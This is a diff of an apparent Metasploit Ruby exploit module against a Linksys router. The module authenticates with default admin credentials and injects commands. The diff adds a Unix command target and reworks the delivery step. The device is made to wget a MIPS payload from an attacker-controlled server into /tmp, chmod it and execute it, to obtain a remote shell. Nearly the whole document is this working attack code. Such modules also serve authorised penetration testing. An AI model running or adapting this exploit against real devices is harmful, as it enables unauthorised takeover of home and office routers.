@@ -30,15 +30,26 @@ def initialize(info = {})
30
30
] ,
31
31
'DisclosureDate' => 'Feb 05 2013' ,
32
32
'Privileged' => true ,
33
- 'Platform' => [ 'linux' ] ,
34
- 'Arch' => ARCH_MIPSLE ,
35
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
36
- 'Payload' =>
37
- {
38
- 'Space' => 1024 ,
39
- 'DisableNops' => true ,
40
- } ,
41
- 'DefaultTarget' => 0
33
+ #'Platform' => 'linux',
34
+ #'Arch' => ARCH_MIPSLE,
35
+ 'Targets' =>
36
+ [
37
+ [ 'Unix CMD' ,
38
+ {
39
+ 'Arch' => ARCH_CMD ,
40
+ 'Platform' => 'unix' ,
41
+ #only payload cmd/unix/generic should be possible
42
+ }
43
+ ] ,
44
+ [ 'Linux Payload' ,
45
+ {
46
+ 'Arch' => ARCH_MIPSLE ,
47
+ 'Platform' => 'linux' ,
48
+ 'DisableNops' => true ,
49
+ }
50
+ ] ,
51
+ ] ,
52
+ 'DefaultTarget' => 1 ,
42
53
) )
43
54
44
55
register_options (
@@ -47,12 +58,11 @@ def initialize(info = {})
47
58
OptString . new ( 'USERNAME' , [ true , 'The username to authenticate as' , 'admin' ] ) ,
48
59
OptString . new ( 'PASSWORD' , [ true , 'The password for the specified username' , 'admin' ] ) ,
49
60
OptString . new ( 'DOWNHOST' , [ false , 'The host to request the MIPS payload from' ] ) ,
50
- OptString . new ( 'DOWNFILE' , [ false , 'Filename to download, (default: random)' , nil ] ) ,
61
+ OptString . new ( 'DOWNFILE' , [ false , 'Filename to download, (default: random)' ] ) ,
51
62
OptString . new ( 'SRVHOST' , [ true , 'The local host to listen on. This must be an address on the local machine' ] ) ,
52
63
] , self . class )
53
64
end
54
65
55
- #MISSING - command execution payload
56
66
57
67
def request ( cmd , user , pass , uri )
58
68
begin
@@ -91,30 +101,6 @@ def exploit
91
101
rhost = datastore [ 'RHOST' ]
92
102
rport = datastore [ 'RPORT' ]
93
103
94
- # We must regenerate the payload-> not sure if this is the right way
95
- arch = "ARCH_MIPSLE"
96
- plat = "linux"
97
- p = exploit_regenerate_payload ( plat , arch )
98
- @pl = p . encoded_exe
99
-
100
- #
101
- # start our server
102
- #
103
- resource_uri = '/' + downfile
104
- service_url = 'http://' + datastore [ 'SRVHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
105
- print_status ( "#{ rhost } :#{ rport } - Starting up our web service on #{ service_url } ..." )
106
- start_service ( { 'Uri' => {
107
- 'Proc' => Proc . new { |cli , req |
108
- on_request_uri ( cli , req )
109
- } ,
110
- 'Path' => resource_uri
111
- } } )
112
-
113
- if ( datastore [ 'DOWNHOST' ] )
114
- service_url = 'http://' + datastore [ 'DOWNHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
115
- end
116
-
117
-
118
104
#
119
105
# testing Login
120
106
#
@@ -143,36 +129,75 @@ def exploit
143
129
return
144
130
end
145
131
146
- print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to download #{ service_url } " )
147
-
148
- #this filename is used to store the payload on the device
149
- filename = rand_text_alpha_lower ( 8 )
132
+ if target . name =~ /CMD/
133
+ cmd = payload . encoded
134
+ request ( cmd , user , pass , uri )
135
+ else
136
+ #lets get some shells ...
150
137
151
- cmd = "/usr/bin/wget #{ service_url } -O /tmp/#{ filename } "
138
+ # We must regenerate the payload-> not sure if this is the right way
139
+ arch = "ARCH_MIPSLE"
140
+ plat = "linux"
141
+ p = exploit_regenerate_payload ( plat , arch )
152
142
153
- request ( cmd , user , pass , uri )
143
+ @pl = p . encoded_exe
154
144
155
- #
156
- # chmod
157
- #
145
+ #
146
+ # start our server
147
+ #
148
+ resource_uri = '/' + downfile
158
149
159
- cmd = "chmod 777 /tmp/#{ filename } "
160
-
161
- print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to prepare #{ downfile } " )
162
-
163
- request ( cmd , user , pass , uri )
164
-
165
- #
166
- # execute
167
- #
168
-
169
- cmd = "/tmp/#{ filename } "
170
-
171
- print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to execute #{ downfile } " )
150
+ if ( datastore [ 'DOWNHOST' ] )
151
+ service_url = 'http://' + datastore [ 'DOWNHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
152
+ else
153
+ #easy way ... do not use SSL ;)
154
+ if datastore [ 'SSL' ]
155
+ ssl_restore = true
156
+ datastore [ 'SSL' ] = false
157
+ end
158
+
159
+ service_url = 'http://' + datastore [ 'SRVHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
160
+ print_status ( "#{ rhost } :#{ rport } - Starting up our web service on #{ service_url } ..." )
161
+ start_service ( { 'Uri' => {
162
+ 'Proc' => Proc . new { |cli , req |
163
+ on_request_uri ( cli , req )
164
+ } ,
165
+ 'Path' => resource_uri
166
+ } } )
167
+
168
+ datastore [ 'SSL' ] = true if ssl_restore
169
+ end
172
170
173
- request ( cmd , user , pass , uri )
171
+ print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to download #{ service_url } " )
172
+
173
+ #this filename is used to store the payload on the device
174
+ filename = rand_text_alpha_lower ( 8 )
175
+
176
+ cmd = "/usr/bin/wget #{ service_url } -O /tmp/#{ filename } "
177
+
178
+ request ( cmd , user , pass , uri )
179
+
180
+ #
181
+ # chmod
182
+ #
183
+
184
+ cmd = "chmod 777 /tmp/#{ filename } "
185
+
186
+ print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to prepare #{ downfile } " )
187
+
188
+ request ( cmd , user , pass , uri )
189
+
190
+ #
191
+ # execute
192
+ #
193
+
194
+ cmd = "/tmp/#{ filename } "
195
+
196
+ print_status ( "#{ rhost } :#{ rport } - Asking the Linksys device to execute #{ downfile } " )
197
+
198
+ request ( cmd , user , pass , uri )
199
+ end
174
200
175
- handler
176
201
end
177
202
178
203
0 commit comments